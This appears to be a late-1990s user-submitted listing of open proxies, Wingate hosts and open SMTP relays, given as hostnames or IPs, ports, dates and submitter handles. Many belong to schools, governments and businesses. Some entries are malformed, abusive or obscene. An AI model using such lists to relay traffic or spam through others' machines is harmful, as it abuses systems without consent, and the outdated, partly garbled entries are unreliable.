203.20.76.1 port 8080 [latency: 10/06/99 00:03:14 PDT by ThA LasT Don]
Rokeros.Rules.and.Laws.org port 6666 [latency: 10/05/99 18:09:51 PDT by Rokero2]
212.26.18.21 port 45975 [latency: 10/05/99 09:19:59 PDT]
mail.homonet.com.mx port 3128 [latency: 10/05/99 05:09:19 PDT by +ve]
193.226.98.1 port 1080 [latency: 10/04/99 15:40:25 PDT by Acidel on DNT sux]
ahnberg.pp.se port 8080 [latency: 10/04/99 12:58:01 PDT by Hellevi Dorman]
proxyd.emirates.net.ae port 8080 [latency: 10/04/99 12:04:38 PDT by serialchilla]
194.170.168.94 port 8080 [latency: 10/04/99 12:03:25 PDT by serialchilla]
652.235.26.237 port 6325 [latency: 10/04/99 09:15:51 PDT by you ass]
209.162.34.225 port 139 [latency: 10/03/99 23:59:29 PDT by RobertDe'vill]
cacheflow.insync.net port 8080 [latency: 10/03/99 22:26:06 PDT by s0nyk]
sanborn.k12.nh.us port 8080 [latency: 10/03/99 17:49:26 PDT by Ana|og]
210.154.98.61 port 1080 [latency: 10/03/99 16:44:34 PDT]
sunny.ci.hillsboro.or.us port 4.18.2 [latency: 10/03/99 16:15:30 PDT]
proxy.mcmail.com port 8080 [latency: 10/03/99 16:15:00 PDT]
gateway.hro.com port 8080 [latency: 10/03/99 16:14:12 PDT]
fuckyou.com port 3169 [latency: 10/03/99 16:13:01 PDT]
sunny.ci.hillsboro.or.us (4.18.2 port 4.18.224 [latency: 10/02/99 16:01:39 PDT by GOD]
proxy.dade.k12.fl.us port 80 [latency: 10/02/99 15:11:28 PDT]
PROXY.TBA.COM.BR port 80 [latency: 10/02/99 13:35:46 PDT by SomeOneFromHeaven]
proxy.cubexs.net.pk port 8080 [latency: 10/02/99 13:33:46 PDT by SomeOneFromHeaven]
proxyf.emirates.net.ae port 8080 [latency: 10/02/99 09:37:37 PDT]
proxy1.emirates.net.ae port 8080 [latency: 10/02/99 09:19:28 PDT]
24.9.23.185 port 1080 [latency: 10/02/99 07:50:05 PDT by roxy]
212.26.18.21 port 45975 [latency: 10/01/99 19:47:49 PDT]
210.154.98.61 port 1080 [latency: 10/01/99 19:14:58 PDT]
203.108.0.56 port 80 [latency: 10/01/99 17:37:16 PDT by ThA LasT Don]
proxy.digi.net.sa port 8080 [latency: 10/01/99 17:04:16 PDT]
212.26.18.21 port 45975 [latency: 10/01/99 16:15:40 PDT]
24.9.23.180 port 1080 [latency: 10/01/99 16:06:04 PDT]
proxy.coqui.net port 80 [latency: 10/01/99 09:51:04 PDT]
asiparts.com port 6667 [latency: 10/01/99 05:47:58 PDT]
129.187.20.28 port 6669 [latency: 10/01/99 04:54:48 PDT]
200.1.1.1 port 80 [latency: 10/01/99 03:05:20 PDT by JaCK]
gateway.hro.com port 8080 [latency: 10/01/99 00:22:08 PDT by saadaoui]
134.206.1.114 port 1328 [latency: 10/01/99 00:21:00 PDT]
cacheflow.insync.net port 8080 [latency: 09/30/99 18:39:32 PDT by CyZ]
134.206.1.114 port 1328 [latency: 09/30/99 16:30:48 PDT]
203.162.3.237 port 8080 [latency: 09/30/99 16:27:52 PDT]
237-67-239.tr.cgocable.ca port 80 [latency: 09/30/99 11:37:36 PDT by lox]
proxy.mcmail.com port 8080 [latency: 09/30/99 09:45:43 PDT]
luva.lb.bawue.de port port 3128 [latency: 09/30/99 06:20:35 PDT by mIke]
ican.net port 1080 [latency: 09/29/99 16:31:46 PDT]
proxy.concept.net.sa port 8080 [latency: 09/29/99 16:06:35 PDT by jamal]
proxy.dade.k12.fl.us port 80 [latency: 09/29/99 11:50:36 PDT by SwitchBox]
proxy1.ae.net.sa port 8080 [latency: 09/29/99 10:51:51 PDT by aki]
proxy2d.isu.net.sa port 8080 [latency: 09/29/99 07:51:30 PDT by aaa]
proxy.netsgo.com port 8080 [latency: 09/29/99 03:56:11 PDT]
24.4.29.247 port 1080 [latency: 09/28/99 22:51:29 PDT]
24.5.35.239 port 1080 [latency: 09/28/99 22:51:13 PDT]
24.5.124.57 port 1080 [latency: 09/28/99 22:51:03 PDT]
24.7.234.209 port 1080 [latency: 09/28/99 22:50:49 PDT]
24.9.23.180 port 1080 [latency: 09/28/99 22:50:41 PDT]
24.10.158.215 port 1080 [latency: 09/28/99 22:50:31 PDT]
24.11.23.206 port 1080 [latency: 09/28/99 22:50:19 PDT]
210.154.43.178 port 1080 [latency: 09/28/99 22:50:04 PDT]
210.154.48.188 port 1080 [latency: 09/28/99 22:49:54 PDT]
210.154.58.197 port 1080 [latency: 09/28/99 22:49:44 PDT]
210.154.71.90 port 1080 [latency: 09/28/99 22:49:34 PDT]
210.154.98.61 port 1080 [latency: 09/28/99 22:49:25 PDT]
210.154.163.233 port 1080 [latency: 09/28/99 22:49:10 PDT]
210.155.28.12 port 1080 [latency: 09/28/99 22:48:55 PDT]
210.155.105.162 port 1080 [latency: 09/28/99 22:48:45 PDT]
210.156.96.107 port 1080 [latency: 09/28/99 22:48:35 PDT]
216.208.9.47 port 1080 [latency: 09/28/99 22:48:25 PDT]
216.208.10.72 port 1080 [latency: 09/28/99 22:48:10 PDT]
proxy.mcmail.com port 8080 [latency: 09/28/99 17:41:38 PDT by HaCkErZ]
dns.nti.it port 8080 [latency: 09/28/99 14:22:18 PDT by Eve1in]
concept.net.sa port 8080 [latency: 09/28/99 14:02:32 PDT by hh]
203.162.3.237 port 8080 [latency: 09/28/99 11:20:53 PDT]
proxy.chello.at port 8080 [latency: 09/28/99 11:01:19 PDT by gevatterTod]
165.138.113.22 port 8080 [latency: 09/28/99 10:25:51 PDT]
134.206.1.114 port 3128 [latency: 09/28/99 06:39:54 PDT]
proxy.tri.net.sa port 80 [latency: 09/28/99 02:54:34 PDT by zipera]
134.206.1.114 port 3128 [latency: 09/28/99 01:44:30 PDT]
varasto.saunalahti.fi port 80 [latency: 09/27/99 23:35:18 PDT by Anssi Ovaska]
proxy.brain.net.pk port 8080 [latency: 09/27/99 21:46:28 PDT by yeah right!]
proxy.sps.net.sa port 8080 [latency: 09/27/99 19:53:15 PDT by thammer]
202.158.28.196 port 8080 [latency: 09/27/99 18:17:49 PDT by me]
Proxy.qatar.net.qa port 8080 [latency: 09/27/99 13:54:59 PDT by SomeOneFromHeaven]
165.138.113.22 port 8080 [latency: 09/27/99 13:32:06 PDT]
fuckyou.com port 3169 [latency: 09/27/99 13:29:51 PDT]
216.208.101.64 port 80 [latency: 09/27/99 12:32:02 PDT]
168.221.7.9 port 80 [latency: 09/27/99 10:16:00 PDT by d taylor]
Proxy.dade.k12.fl.us port 80 [latency: 09/27/99 10:12:43 PDT by David Taylor]
proxy1.emirates.net.ae port 8080 [latency: 09/27/99 07:10:06 PDT by cyberearmy lover]
proxy2d.isu.net.sa port 8080 [latency: 09/27/99 07:08:23 PDT]
Batelco.com.bh port 8080 [latency: 09/26/99 23:43:14 PDT]
195.92.194.42 port 80 [latency: 09/26/99 18:30:13 PDT by ThA LasT Don]
195.92.197.58 port 80 [latency: 09/26/99 18:29:31 PDT by ThA LasT Don]
195.92.197.44 port 80 [latency: 09/26/99 18:29:07 PDT by ThA LasT Don]
195.92.197.40 port 80 [latency: 09/26/99 13:10:28 PDT]
151.198.16.210 port 80 [latency: 09/26/99 06:35:56 PDT by rapio]
198.142.17.21 port 80 [latency: 09/25/99 18:36:07 PDT by FIGOR]
209.222.171.218 port 80 [latency: 09/25/99 18:34:49 PDT by FIGOR]
mail.trikotazas.lt port 1080 [latency: 09/25/99 14:21:50 PDT by GoPaS]
wint.klasco.lt port 1080 [latency: 09/25/99 14:21:17 PDT by GoPaS]
209.183.86.96 port 80 [latency: 09/25/99 11:14:01 PDT by chuck]
king.of.warez-france.dhs.org port 8080 [latency: 09/25/99 05:17:06 PDT by DarkJedi - WFTEAM -]
129.173.1.66 port 8080 [latency: 09/25/99 04:33:54 PDT by ThA LasT Don]
192.172.226.145 port 8080 [latency: 09/25/99 04:30:55 PDT by ThA LasT Don]
142.92.65.10 port 8080 [latency: 09/25/99 04:29:17 PDT by ThA LasT Don]
205.151.225.201 port 80 [latency: 09/25/99 00:28:57 PDT by ThA LasT Don]
205.151.225.202 port 80 [latency: 09/25/99 00:28:25 PDT by ThA LasT Don]
driver.tohai.co.jp port 8080 [latency: 09/24/99 21:32:35 PDT by BLaZeR]
proxy.hbt.southcom.com.au port 8080 [latency: 09/24/99 11:07:14 PDT by leo.au]
proxy.ltn.southcom.com.au port 8080 [latency: 09/24/99 11:05:25 PDT by leo.au]
proxy.dev.southcom.com.au port 8080 [latency: 09/24/99 11:04:31 PDT by leo.au]
proxy.bur.southcom.com.au port 8080 [latency: 09/24/99 11:03:34 PDT by leo.au]
proxy.mel.southcom.com.au port 8080 [latency: 09/24/99 11:02:14 PDT by leo.au]
195.92.194.42 port 80 [latency: 09/23/99 23:20:43 PDT by ThA LasT Don]
mail.wingsink.com port 1080 [latency: 09/23/99 19:27:55 PDT by kRaZiE]
192.168.100.1 port 80 [latency: 09/23/99 11:56:59 PDT]
24.10.21.110 port 80 [latency: 09/23/99 11:50:23 PDT by triptofan]
Wingates
~~~~~~~~
austra6.lnk.telstra.net [latency: 10/14/99 13:42:23 EDT by sandoc]
a3p71dyn.smart.net [latency: 10/14/99 13:34:51 EDT by sandoc]
neptune.sunlink.net [latency: 10/13/99 04:35:24 EDT by Alin]
216.224.143.50 [latency: 10/12/99 15:31:45 EDT by HaHa BruceL. ur GAY]
208.247.48.4 [latency: 10/12/99 15:30:25 EDT by BLaH]
216.224.143.49 [latency: 10/12/99 10:43:42 EDT by bruce lee]
208.247.48.3 [latency: 10/11/99 16:09:47 EDT]
c1004730-a.cstvl1.sfba.home.com [latency: 10/11/99 15:26:54 EDT by sandoc]
chat.msn.com [latency: 10/11/99 14:29:23 EDT]
commserve.co.uk [latency: 10/11/99 11:34:05 EDT]
note.ark.ne.jp [latency: 10/11/99 10:42:00 EDT by kalkin]
212.33.3.234 [latency: 10/09/99 14:33:41 PDT by sandoc]
tc1-1-94.netgate.com.uy [latency: 10/09/99 14:22:27 PDT by sandoc]
we-24-130-50-203.we.mediaone.net [latency: 10/09/99 14:17:49 PDT by sandoc]
24.200.1.2 [latency: 10/09/99 14:04:57 PDT by sandoc]
194.204.241.41 [latency: 10/09/99 14:03:10 PDT by sandoc]
interamericana.com.do [latency: 10/09/99 13:38:50 PDT by sandoc]
tombrown.net [latency: 10/09/99 13:36:02 PDT by sandoc]
cpu1555.adsl.bellglobal.com [latency: 10/09/99 13:32:24 PDT by sandoc]
winnt.cs.usm.my [latency: 10/09/99 13:27:11 PDT by sandoc]
gaon.zg.szczecin.pl [latency: 10/09/99 13:22:34 PDT by sandoc]
167.114.19.107 [latency: 10/09/99 13:14:11 PDT by sandoc]
195.33.220.27 [latency: 10/09/99 13:11:22 PDT by sandoc]
du-148-233-71-91.telmex.net.mx [latency: 10/09/99 13:06:04 PDT by sandoc]
t3o940p118.telia.com [latency: 10/09/99 13:03:06 PDT by sandoc]
213.8.0.188 [latency: 10/09/99 12:55:56 PDT by sandoc]
madero2.interxcable.net.mx [latency: 10/09/99 12:54:26 PDT by sandoc]
212.252.49.240 [latency: 10/09/99 12:51:13 PDT by sandoc]
interglion.glion.ch [latency: 10/09/99 12:45:24 PDT by sandoc]
cp029zev08.gelrevision.nl [latency: 10/09/99 12:41:23 PDT by sandoc]
tconl80252.tconl.com [latency: 10/09/99 12:37:48 PDT by sandoc]
195.249.229.4 [latency: 10/08/99 21:52:59 PDT]
ss06.co.us.ibm.com [latency: 10/08/99 21:45:31 PDT]
195.249.229.4 [latency: 10/08/99 21:44:23 PDT]
ss06.co.us.ibm.com [latency: 10/08/99 06:41:47 PDT by kiko]
24.3.39.170 [latency: 10/08/99 05:20:44 PDT]
teen-chat.chatspace.com [latency: 10/06/99 17:14:43 PDT by upyours]
193.95.100.214 [latency: 10/06/99 12:39:26 PDT by sandoc]
tateyama.tokyo.main.co.jp [latency: 10/06/99 12:37:38 PDT by sandoc]
md4690b42.utfors.se [latency: 10/06/99 12:36:12 PDT by sandoc]
ipp-9-135-varna.ttm.bg [latency: 10/06/99 12:28:14 PDT by sandoc]
212.252.56.80 [latency: 10/06/99 12:26:17 PDT by sandoc]
24.200.1.65 [latency: 10/06/99 12:22:12 PDT by sandoc]
212.119.70.130 [latency: 10/06/99 12:15:17 PDT by sandoc]
194.178.9.132 [latency: 10/06/99 09:27:15 PDT]
GUA2ppp-96.uc.infovia.com.ar [latency: 10/05/99 12:59:26 PDT by sandoc]
ns1.mitsubishi-seibi.ac.jp [latency: 10/05/99 12:57:36 PDT by sandoc]
remoha.lnk.telstra.net [latency: 10/05/99 12:56:43 PDT by sandoc]
212.252.66.5 [latency: 10/05/99 12:52:15 PDT by sandoc]
194.243.99.162 [latency: 10/05/99 12:47:24 PDT by sandoc]
dns1.caps.co.jp [latency: 10/05/99 12:42:40 PDT by sandoc]
jonghyun.static.star.net.nz [latency: 10/04/99 15:55:46 PDT by kol4o]
driver.tohai.co.jp [latency: 10/04/99 14:00:59 PDT by sandoc]
ns.balkansys.com [latency: 10/04/99 13:49:22 PDT by sandoc]
radio1.sanet.ge [latency: 10/04/99 13:48:26 PDT by sandoc]
168.187.78.34 [latency: 10/04/99 13:39:11 PDT by sandoc]
195.100.248.146 [latency: 10/04/99 13:37:51 PDT by Chaos]
203.116.6.6 [latency: 10/04/99 13:35:07 PDT by sandoc]
ipshome-gw.iwahashi.co.jp [latency: 10/04/99 13:32:45 PDT by sandoc]
24.4.124.166 [latency: 10/03/99 23:43:45 PDT]
24.4.116.38 [latency: 10/03/99 20:47:40 PDT]
152.163.243.201 [latency: 10/03/99 17:11:45 PDT]
194.204.205.129 [latency: 10/03/99 10:32:54 PDT by sandoc]
ns0-gw.nsjnet.co.jp [latency: 10/03/99 10:29:00 PDT by sandoc]
ohs.ocs.k12.al.us [latency: 10/03/99 10:27:05 PDT by sandoc]
ns.sanshusha.co.jp [latency: 10/03/99 10:22:38 PDT by sandoc]
mail.ermanco.com [latency: 10/03/99 10:20:29 PDT by sandoc]
colqbr.ozemail.com.au [latency: 10/03/99 10:16:47 PDT by sandoc]
pen22755-1.gw.connect.com.au [latency: 10/03/99 09:13:18 PDT by kahn]
jonghyun.static.star.net.nz [latency: 10/03/99 01:34:27 PDT by sparco]
195.205.50.135 [latency: 10/02/99 22:54:11 PDT by Novel]
209.251.71.115 [latency: 10/02/99 22:53:51 PDT by Novel]
202.21.8.21 [latency: 10/02/99 22:53:37 PDT by Novel]
207.0.118.250 [latency: 10/02/99 22:53:21 PDT by Novel]
210.237.183.226 [latency: 10/02/99 22:53:06 PDT by Novel]
195.216.48.13 [latency: 10/02/99 22:52:38 PDT by Novel]
165.21.118.128 [latency: 10/02/99 22:52:25 PDT by Novel]
210.145.218.162 [latency: 10/02/99 22:52:10 PDT by Novel]
206.103.12.131 [latency: 10/02/99 22:51:53 PDT by Novel]
12.17.117.102 [latency: 10/02/99 22:51:32 PDT by Novel]
210.164.86.34 [latency: 10/02/99 22:51:17 PDT by Novel]
193.15.228.156 [latency: 10/02/99 22:50:49 PDT by Novel]
24.3.39.170 [latency: 10/02/99 22:50:23 PDT by Novel]
210.170.93.66 [latency: 10/02/99 22:50:11 PDT by Novel]
24.3.111.117 [latency: 10/02/99 22:49:59 PDT by Novel]
202.44.210.202 [latency: 10/02/99 22:49:41 PDT by Novel]
202.21.8.31 [latency: 10/02/99 22:49:25 PDT by Novel]
203.28.52.161 [latency: 10/02/99 22:49:11 PDT by Novel]
194.243.99.162 [latency: 10/02/99 22:48:46 PDT by UHOA]
202.152.9.20 [latency: 10/02/99 22:48:31 PDT by Novel]
161.184.146.34 [latency: 10/02/99 22:48:17 PDT by Novel]
195.249.229.4 [latency: 10/02/99 22:48:04 PDT by Novel]
142.250.6.2 [latency: 10/02/99 22:47:48 PDT by Novel]
24.3.217.170 [latency: 10/02/99 22:47:33 PDT by Novel]
195.41.205.179 [latency: 10/02/99 22:47:08 PDT]
Sciencerocks.com [latency: 10/02/99 20:42:26 PDT by logon:Gelston Psw:s1]
cyberspace.org [latency: 10/02/99 20:41:13 PDT]
194.75.255.156 [latency: 10/02/99 11:43:16 PDT by Jim Bob]
198.247.214.89 [latency: 10/02/99 11:41:03 PDT by Jim Bob]
pcse.essalud.sld.pe [latency: 10/02/99 10:59:04 PDT by sandoc]
seanmoyer.ne.mediaone.net [latency: 10/02/99 10:56:19 PDT by sandoc]
garrison-grafixx.com [latency: 10/02/99 10:55:27 PDT by sandoc]
212.174.65.167 [latency: 10/02/99 10:51:57 PDT by sandoc]
101.161.12.dn.dialup.cityline.ru [latency: 10/02/99 10:48:06 PDT by sandoc]
209.112.31.34 [latency: 10/01/99 16:14:15 PDT by sandoc]
210.169.139.161 [latency: 10/01/99 16:12:44 PDT by sandoc]
207.107.88.21 [latency: 10/01/99 15:29:03 PDT by sandoc]
212.174.65.76 [latency: 10/01/99 14:52:38 PDT by sandoc]
ss06.co.us.ibm.com [latency: 10/01/99 14:49:32 PDT by sandoc]
o u mind...if i fuck u? [latency: 10/01/99 13:00:20 PDT by Ivan Dimitrov]
198.247.215.1 [latency: 09/30/99 15:02:12 PDT]
mh.gymnaziumtu.cz [latency: 09/30/99 13:21:22 PDT by sandoc]
210.114.231.130 [latency: 09/30/99 13:18:59 PDT by sandoc]
210.56.18.225 [latency: 09/30/99 13:16:33 PDT by sandoc]
pen22755-1.gw.connect.com.au [latency: 09/30/99 13:14:19 PDT by sandoc]
cix.abaco.edu.pe [latency: 09/30/99 13:09:37 PDT by sandoc]
note.ark.ne.jp [latency: 09/30/99 13:07:40 PDT by sandoc]
208.5.13.15 [latency: 09/30/99 13:05:23 PDT by sandoc]
203.135.2.188 [latency: 09/30/99 13:01:51 PDT by sandoc]
193.227.185.190 [latency: 09/30/99 12:59:35 PDT by sandoc]
194.204.205.127 [latency: 09/30/99 12:58:22 PDT by sandoc]
193.227.181.144 [latency: 09/30/99 12:55:20 PDT by sandoc]
200.230.120.133 [latency: 09/30/99 12:53:51 PDT by sandoc]
194.75.255.156 [latency: 09/29/99 10:19:20 PDT by sandoc]
infou429.jet.es [latency: 09/29/99 10:18:13 PDT by sandoc]
212.252.66.206 [latency: 09/29/99 10:16:50 PDT by sandoc]
203.197.208.36 [latency: 09/29/99 10:15:07 PDT by sandoc]
216.226.197.179 [latency: 09/29/99 10:05:53 PDT by sandoc]
chaus.ozemail.com.au [latency: 09/29/99 10:04:12 PDT by sandoc]
maodcfm.egat.or.th [latency: 09/29/99 10:01:24 PDT by sandoc]
200.46.20.185 [latency: 09/29/99 09:56:02 PDT by sandoc]
195.249.229.4 [latency: 09/29/99 09:53:20 PDT by sandoc]
sscoin.com [latency: 09/29/99 09:47:10 PDT by sandoc]
proxy.cyberg.it [latency: 09/29/99 08:46:47 PDT by aaa]
195.182.171.121 [latency: 09/29/99 05:27:51 PDT by Bi0Sk|lleR]
whois.internic.net [latency: 09/28/99 10:57:58 PDT]
200.42.146.150 [latency: 09/28/99 10:03:10 PDT by sandoc]
203.197.9.162 [latency: 09/28/99 09:56:20 PDT by sandoc]
mail.tbccorp.com [latency: 09/28/99 09:54:59 PDT by sandoc]
MF2-1-036.mgfairfax.rr.com [latency: 09/28/99 09:48:25 PDT by sandoc]
195.146.98.226 [latency: 09/28/99 09:34:37 PDT by sandoc]
202.186.134.6 [latency: 09/28/99 04:30:26 PDT by B Wang]
207.139.234.203 [latency: 09/27/99 20:54:19 PDT by monster]
radna-gw.supermedia.pl [latency: 09/27/99 20:30:25 PDT]
DONT.WRITE. BULLSHIT.HERE [latency: 09/27/99 19:22:09 PDT by abed]
209.21.14.65 [latency: 09/27/99 13:40:26 PDT by sandoc]
192.117.8.253 [latency: 09/27/99 13:38:27 PDT by sandoc]
192.106.117.25 [latency: 09/27/99 13:35:07 PDT by sandoc]
212.68.152.3 [latency: 09/27/99 13:33:46 PDT by sandoc]
194.73.125.69 [latency: 09/27/99 13:29:42 PDT by sandoc]
sie-home-1-7.urbanet.ch [latency: 09/27/99 13:09:32 PDT by sandoc]
neptune.sunlink.net [latency: 09/27/99 08:51:15 PDT by Juxtaposition]
24.1.3.125 [latency: 09/27/99 08:32:57 PDT by Juxtaposition]
24.1.4.116 [latency: 09/27/99 08:31:56 PDT by Juxtaposition]
sherlock.ibi.co.za [latency: 09/26/99 15:44:34 PDT by Juxtaposition]
207.50.228.163 [latency: 09/26/99 10:19:37 PDT by sandoc]
193.15.241.21 [latency: 09/26/99 10:10:53 PDT by sandoc]
194.25.204.29 [latency: 09/26/99 10:09:24 PDT by sandoc]
207.229.47.11 [latency: 09/26/99 10:08:00 PDT by sandoc]
205.237.210.214 [latency: 09/26/99 10:06:38 PDT by sandoc]
c30-169.the-bridge.net [latency: 09/26/99 09:59:18 PDT by sandoc]
38.30.155.88 [latency: 09/25/99 21:17:05 PDT by Jame]
152.169.201.156 [latency: 09/25/99 20:23:48 PDT]
24.112.84.102 [latency: 09/25/99 13:11:04 PDT by BLaZeR u Newbie!]
24.112.84.94 [latency: 09/25/99 13:10:23 PDT by BLaZeR u NeWb! H
]
mail.trikotazas.lt [latency: 09/25/99 12:08:31 PDT by babysuk]
209.183.86.96 [latency: 09/25/99 11:11:55 PDT by Shogo]
206.103.12.131 [latency: 09/25/99 10:41:41 PDT by sandoc]
proxy01.faboro.ch [latency: 09/25/99 10:36:49 PDT by sandoc]
pc1.expansion.com.mx [latency: 09/25/99 10:36:06 PDT by sandoc]
207.3.122.85 [latency: 09/25/99 10:33:38 PDT by sandoc]
radna-gw.supermedia.pl [latency: 09/25/99 10:29:52 PDT by sandoc]
202.135.160.10 [latency: 09/25/99 10:28:57 PDT by sandoc]
gateway.eltjanst.se [latency: 09/25/99 10:26:13 PDT by sandoc]
ns.holonic.co.jp [latency: 09/25/99 10:24:57 PDT by sandoc]
203.101.1.22 [latency: 09/25/99 10:23:18 PDT by sandoc]
163.121.200.72 [latency: 09/25/99 10:13:01 PDT]
195.216.48.13 [latency: 09/25/99 06:42:29 PDT]
24.112.84.93 [latency: 09/24/99 23:50:43 PDT by U R DEAD ZASZ U FAG]
24.112.97.9 [latency: 09/24/99 23:39:29 PDT by BLaZeR]
210.237.183.226 [latency: 09/24/99 20:55:02 PDT by ~TG|{~ZaSz]
200.210.15.188 [latency: 09/24/99 20:54:40 PDT by ZaSz]
24.226.156.214 [latency: 09/24/99 20:54:20 PDT by ZaSz]
202.21.8.31 [latency: 09/24/99 20:54:07 PDT by ZaSz]
202.21.8.21 [latency: 09/24/99 20:53:54 PDT by ~TG|{~ZaSz]
200.210.15.166 [latency: 09/24/99 20:53:34 PDT by ZaSz]
139.142.170.233 [latency: 09/24/99 20:53:22 PDT by ZaSz]
24.30.53.10 [latency: 09/24/99 20:53:10 PDT by ZaSz]
24.30.109.224 [latency: 09/24/99 20:52:44 PDT by ZaSz]
24.0.233.86 [latency: 09/24/99 20:52:34 PDT by ZaSz]
200.255.107.140 [latency: 09/24/99 20:52:11 PDT by ZaSz]
200.36.8.103 [latency: 09/24/99 20:51:56 PDT by ZaSz]
200.38.211.242 [latency: 09/24/99 20:51:42 PDT by ZaSz]
200.38.211.253 [latency: 09/24/99 20:51:24 PDT by ZaSz]
200.38.211.246 [latency: 09/24/99 20:51:10 PDT by ZaSz]
210.169.139.161 [latency: 09/24/99 20:50:59 PDT by ZaSz]
210.226.69.210 [latency: 09/24/99 20:50:48 PDT by ZaSz]
209.251.71.115 [latency: 09/24/99 20:50:30 PDT by ZaSz]
24.0.79.151 [latency: 09/24/99 20:50:18 PDT by ZaSz]
24.0.79.40 [latency: 09/24/99 20:50:05 PDT by ZaSz]
24.4.27.2 [latency: 09/24/99 20:49:49 PDT by ZaSz]
207.102.5.161 [latency: 09/24/99 20:49:36 PDT by ZaSz]
207.102.5.162 [latency: 09/24/99 20:49:21 PDT by ZaSz]
210.164.86.34 [latency: 09/24/99 20:49:06 PDT by ZaSz]
195.67.1.34 [latency: 09/24/99 20:48:12 PDT by ZaSz]
195.216.48.36 [latency: 09/24/99 20:47:54 PDT by ZaSz]
195.216.48.30 [latency: 09/24/99 20:47:41 PDT by ZaSz]
195.216.48.13 [latency: 09/24/99 20:47:24 PDT by ZaSz]
210.226.82.162 [latency: 09/24/99 20:47:06 PDT by ZaSz]
200.13.19.218 [latency: 09/24/99 20:46:51 PDT by ZaSz]
200.13.19.213 [latency: 09/24/99 20:46:36 PDT by ZaSz]
200.13.19.181 [latency: 09/24/99 20:46:21 PDT by ZaSz]
200.13.19.141 [latency: 09/24/99 20:46:08 PDT by ZaSz]
200.13.19.76 [latency: 09/24/99 20:45:55 PDT by ZaSz]
200.13.19.33 [latency: 09/24/99 20:45:43 PDT by ~TG|{~ZaSz]
195.182.171.121 [latency: 09/24/99 20:45:21 PDT by ZaSz]
24.112.39.232 [latency: 09/24/99 20:43:14 PDT by ZaSz]
24.2.29.54 [latency: 09/24/99 20:41:41 PDT by ZaSz]
24.112.75.210 [latency: 09/24/99 20:41:30 PDT by ZaSz]
24.112.7.143 [latency: 09/24/99 20:41:18 PDT by ZaSz]
24.93.15.248 [latency: 09/24/99 20:41:05 PDT by ZaSz]
24.64.210.14 [latency: 09/24/99 20:40:52 PDT by ZaSz]
24.112.167.186 [latency: 09/24/99 20:40:36 PDT by ZaSz]
203.102.199.109 [latency: 09/24/99 20:40:13 PDT by ZaSz]
210.161.200.82 [latency: 09/24/99 20:39:55 PDT by ZaSz]
207.102.5.162 [latency: 09/24/99 20:39:42 PDT by ZaSz]
207.102.5.161 [latency: 09/24/99 20:39:26 PDT by ZaSz]
203.102.199.209 [latency: 09/24/99 20:39:15 PDT by ZaSz]
203.102.199.186 [latency: 09/24/99 20:39:02 PDT by ZaSz]
203.102.199.72 [latency: 09/24/99 20:38:51 PDT by ZaSz]
203.102.199.21 [latency: 09/24/99 20:38:40 PDT by ZaSz]
203.102.199.22 [latency: 09/24/99 20:38:16 PDT by ZaSz]
203.102.199.11 [latency: 09/24/99 20:38:03 PDT by ZaSz]
209.165.135.138 [latency: 09/24/99 20:37:53 PDT by ZaSz]
216.72.47.33 [latency: 09/24/99 20:37:36 PDT by ZaSz]
216.72.47.18 [latency: 09/24/99 20:37:23 PDT by ZaSz]
216.72.47.16 [latency: 09/24/99 20:37:08 PDT by ZaSz]
216.72.47.12 [latency: 09/24/99 20:36:51 PDT by ~TG|{~ZaSz = ZaSz]
216.72.47.8 [latency: 09/24/99 20:36:14 PDT by ZaSz]
216.72.47.4 [latency: 09/24/99 20:36:01 PDT by ZaSz]
209.4.68.50 [latency: 09/24/99 20:35:44 PDT by ZaSz]
200.38.211.253 [latency: 09/24/99 20:35:32 PDT by ZaSz]
200.38.211.251 [latency: 09/24/99 20:35:08 PDT by ZaSz]
200.38.211.240 [latency: 09/24/99 20:34:49 PDT by ZaSz]
SMTP Relays
~~~~~~~~~~~
mail.ecalton.com [latency: 10/13/99 03:17:54 EDT]
mail.daisytek.com [latency: 10/12/99 21:01:58 EDT by AntiEdie]
mail.usa.de [latency: 10/12/99 10:53:48 EDT by Sub.Xer0]
Lionhead.co.uk [latency: 10/12/99 04:43:14 EDT by DrSoloMan]
gatekeeper.collins.rockwell.com [latency: 10/12/99 00:37:13 EDT by Sauron]
smtp.bip.net [latency: 10/09/99 12:18:32 PDT]
smtp.smtp.net [latency: 10/09/99 10:48:24 PDT by GkA]
smtp.tm.net.my [latency: 10/09/99 07:57:17 PDT by EeKkS]
az-fw.azerty.com [latency: 10/08/99 17:46:22 PDT by Edie]
143.92.24.65 [latency: 10/06/99 23:37:58 PDT by brahma]
194.96.164.150 [latency: 10/06/99 16:06:39 PDT by Agent Hamel]
smtp.kabelfoon.nl [latency: 10/06/99 12:00:31 PDT]
sanborn.k12.nh.us [latency: 10/06/99 11:31:44 PDT by om3g4 sucks]
mail.ttlc.net [latency: 10/06/99 11:31:02 PDT by om3g4 sucks]
are p3E9D4CB5.dip0.t-ipconnect.d [latency: 10/04/99 22:48:41 PDT by nethe@d]
mail.bright.net [latency: 10/04/99 18:43:51 PDT by tommy]
mail.netzero.net [latency: 10/03/99 19:43:07 PDT by iceburn(pratik)]
smtp.home.se [latency: 10/03/99 13:26:18 PDT by aDreNaLinZ]
207.155.122.20 [latency: 10/03/99 01:51:39 PDT by T|rant]
216.129.5.92 [latency: 10/02/99 12:30:49 PDT by Neri]
turing.unicamp.br [latency: 09/30/99 17:22:35 PDT by - Dark Priest -]
smtp.cybercable.fr [latency: 09/29/99 03:58:31 PDT by is that me??]
ub.edu.ar [latency: 09/28/99 08:42:29 PDT by Avelino Porto]
200.39.147.18 [latency: 09/27/99 19:39:42 PDT]
mail.eexi.gr [latency: 09/27/99 11:13:56 PDT]
freemail.org.mk [latency: 09/25/99 17:17:28 PDT]
209.183.86.96 [latency: 09/25/99 11:14:46 PDT by vegan_100%]
mail.versaversa.be [latency: 09/25/99 05:43:41 PDT by tt]
surabaya.wasantara.net.id [latency: 09/25/99 03:18:03 PDT]
204.143.102.68 [latency: 09/24/99 05:28:49 PDT by hiran]
161.200.192.1 [latency: 09/22/99 09:52:46 PDT]
smtp.netpathway.com [latency: 09/21/99 18:32:54 PDT by SycoKiddie]
library.shastacollege.edu [latency: 09/20/99 09:14:31 PDT by Capt. Krunch]
sandwich.net [latency: 09/18/99 04:28:34 PDT by BroS^ Inc ]
zoom.com [latency: 09/17/99 18:45:22 PDT by Pistor Joubert]
205.252.249.4 [latency: 09/16/99 01:52:38 PDT by The Mad1 (or Mad1)]
mail.worldinter.net [latency: 09/14/99 19:19:48 PDT by Animosity]
elitist.org [latency: 09/12/99 19:37:15 PDT by daniel shatter]
mail.dailypost.com [latency: 09/11/99 06:39:22 PDT by KaDoS HaRdCoRe 1488]
